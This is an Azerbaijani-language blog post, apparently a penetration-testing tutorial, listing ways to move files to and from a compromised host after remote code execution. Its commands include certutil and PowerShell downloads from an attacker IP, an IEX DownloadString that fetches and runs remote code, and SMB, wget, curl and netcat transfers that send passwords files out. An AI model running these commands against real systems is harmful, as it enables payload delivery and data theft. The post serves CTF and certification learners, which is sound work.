Nüfuzetmə testlərində fayl transfer metodları

Mahammadjan
4 min readOct 11, 2022

Nüfuzetmə testləri, CTF-lər və ya sertifikasiya imtahanları zamanı uzaqdan kod icrası(rce) əldə etdikdən sonra imtiyazların artırılması, daxili şəbəkənin komputerlərinə nüfuz etmək və ya sadəcə kəşfiyyat xarakterli məlumat əldə etmək üçün ələ keçirdiyimiz maşına skriptlər, istismar kodları və digar zərərli tətbiqlər köçürməli oluruq. Bu isə, ələ keçirdiyimiz cihazın əməliyyat sisteminin növündən, versiyasından və cihazda yüklü olan tətbiqlərdən asılı olaraq dəyişir. Bu yazımda Windows və Linux əməliyyat sistemlərində ən çox işlətdiyim fayl transfer metodları haqda məlumat verəcəm.

Web Serverlər

İlk öncə onu deyim ki, faylı köçürəcəyimiz yeri əvvəlcədən təyin etməliyik. Əgər faylı kali-dən göndərəcəyiksə, birinci kali maşınımızda web server(və ya işlədəcəyimiz protokolun serverini)qurmalıyıq.

Web server qurmaq üçün proqramlaşdırma dillərinin web modullarından istifadə edə və ya hazır web serverlərdən istifadə edə bilərik

Proqramlaşdırma dilləri ilə

Bu metod ilə yaratdığımız web serverlərin fayl sistemində yeri(path) kodu icra etdiyimiz qovluq olur(pwd).

python -m SimpleHTTPServer
python3 -m http.server
php -S 0.0.0.0:8000
ruby -run -e httpd . -p 9000

Hazır web serverlər vasitəsilə

Bu servisləri başlatmaqdan öncə işlədəcəyimiz server tətbiqini “apt install” metodu ilə quraşdırmalıyıq. Serverlərin işlətdiyi yer “/var/www/html” qovluğu olur.

sudo systemctl start apache2
sudo systemctl start nginx
/etc/init.d/lighttpd start

Kali-dən Windows-a fayl transfer metodları

Certutil

Certutil.exe, adından da bəlli olduğu kimi Windows əməliyyat sistemində sertifikat xidmətlərinin bir hissəsi kimi quraşdırılmış proqramıdır. Baxmayaraq ki, bu proqram sertifikatlarla işləmək üçün nəzərdə tutulub, fayl köçürmək üçün də isitfadə oluna bilər:

certutil -urlcache -split -f http://10.10.10.7/winPEAS.bat C:\Temp\winpeas.bat

Powershell

PowerShell, Microsoft-un tapşırıqların avtomatlaşdırılması və konfiqurasiya idarəetmə proqramıdır və adətən sistem inzibatçılığı üçün istifadə edilir:

powershell -c (new-object System.Net.WebClient).DownloadFile(‘http://10.10.10.7/file','C:\Temp\file')

powershell.exe IEX (New-Object System.Net.WebClient).DownloadString(‘http://10.10.10.7/file)

powershell.exe Invoke-WebRequest -Uri http://10.10.10.7/file -OutFile ‘C:/Temp/file’

SMB

Server Mesaj Bloku protokolu (SMB protokolu) şəbəkədəki fayllara, printerlərə, serial portlara və digər resurslara girişi bölüşmək üçün istifadə olunan protokoludur.

SMB vasitəsilə Windows-a fayl köçürmək üçün ilk öncə Kali maşınımızda smb serveri quraşdırmalıyıq. Bunun üçün Impacket kolleksiyasından olan smbserver.py kodundan istifadə edəcəyik:

python ./smbserver.py Secret /home/hacker/Payloads -smb2support

Bu əmri icra etdikdə Kali maşınımızda “Secret” adlı SMB qovluğu(smb share) açmış oluruq. Daha sonra həmin qovluqdan istifadə edib həm Kalidən Windows-a həm də Windows-dan Kali-yə fayl köçürə bilərik. (Əmrləri Windows-da icra edərək)

Kali-dən Windows-a fayl köçürmək

copy \\10.10.10.7\SECRET\nc.exe C:\temp\nc.exe

Windows-dan Kali-yə fayl köçürmək

copy passwords.txt \\10.10.10.7\SECRET\passwords.txt

VBS

VBScript, Microsoft tərəfindən hazırlanmış və Visual Basic-də modelləşdirilmiş aktiv skript dilidir. Dinamik veb səhifələr hazırlamaq üçün istifadə olunur.

Bu github reposundan götürdüyümüz kod parçasını windows əmrlər sətrində icra etməklə ələ keçirdiyimiz maşında məşhur wget alətinin sadə versiyasını düzəltmiş oluruq:

Yaratdığımız faylı icra etmək üçün “Cscript” əmri istifadə edirik, hansı ki, VBskriptlərin əmrlər sətrindən icra olunması üçün yazılmış tətbiqdir:

cscript wget.vbs http://10.10.10.7/evil.exe C:\Temp\evil.exe

Windows-dan Kali-yə fayl transfer metodları

Wget, Curl

Əgər ələ keçirdiyimiz Windows maşınında web server işləyirsə, o zaman bizə lazım olan faylları həmin web serverin olduğu qovluğa köçürüb Kali-yə endirə bilərik. Bunun üçün məşhur və çox vaxt Linux əməliyyat sistemlərində varsayılan olaraq yüklü olan wget və curl alətlərindən istifadə edə bilərik:

wget http://10.10.10.8/passwords.xlsx -O passwords.xlsx

curl http://10.10.10.8/passwords.xlsx -o passwords.xlsx

Netcat

Netcat(nc), TCP və UDP bağlantılarından istifadə edərək şəbəkədə oxumaq və yazmaq üçün istifadə olunan proqramdır. Bu proqramdan istifadə edərək fayl transfer də edə bilərik. Windows-dakı file.txt faylını Kali-yə ötürmək üçün:

Windows-da:

nc.exe 10.10.10.7 4444 < file.txt

Kali-də:

nc -l 4444 > file.txt

Sadəcə bir problem var, faylın nə vaxt tam köçürüldüyünü bilmirik, ona görə CTRL+C edirik və faylı yoxlayırıq. Amma bu böyük fayllarda problem yarada bilər, vaxtdından tez şəbəkə əlaqəsini kəsə bilərik və fayl yarımçıq köçə bilər. Bunun qarşısını almaq üçün, faylın ötürülməsinin monitor etmək üçün, “pv” əmrindən istifadə edə bilərik:

nc -l 4444 | pv > file.txt

Base64

Base64 ən çox istifadə edilən kodlaşdırma(encoding) metodlarından biridir, ona görə həm linux, həm də windows-da varsayılan olaraq dəstəklənir.

Base64 -dən istifadə edərək fayl köçürmək üçün, ilk öncə faylı encode edirik:

Windows-da

certutil -encode myfile.zip tmp.txt && findstr /v /c:- tmp.txt

və ya (Powershell)

[convert]::ToBase64String((Get-Content -path “C:\temp\myfile.zip” -Encoding byte))

Linux-da:

base64 /home/hacker/myfile.zip

Daha sonra isə terminaldakı nəticəni kopyalayırıq(lazım gələrsə fayla yazırıq)və köçürmək istədiymiz maşında decode edirik:

Windows-da:

certutil -decode encoded.txt myfile.zip

və ya (Powershell)

$ENCODED = “e28xdTNfY2E0d2JvM2Ff”

[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($ENCODED))

Write-Output $DECODED

Linux-da:

echo ‘M1g5Olc4Qw==’ | base64 -d > myfile.zip

Bu günlük bu qədər, rəyinizi və ya növbəti yazım üçün təklifinizi şərh bölməsindən bildirə bilərsiniz :)

--

--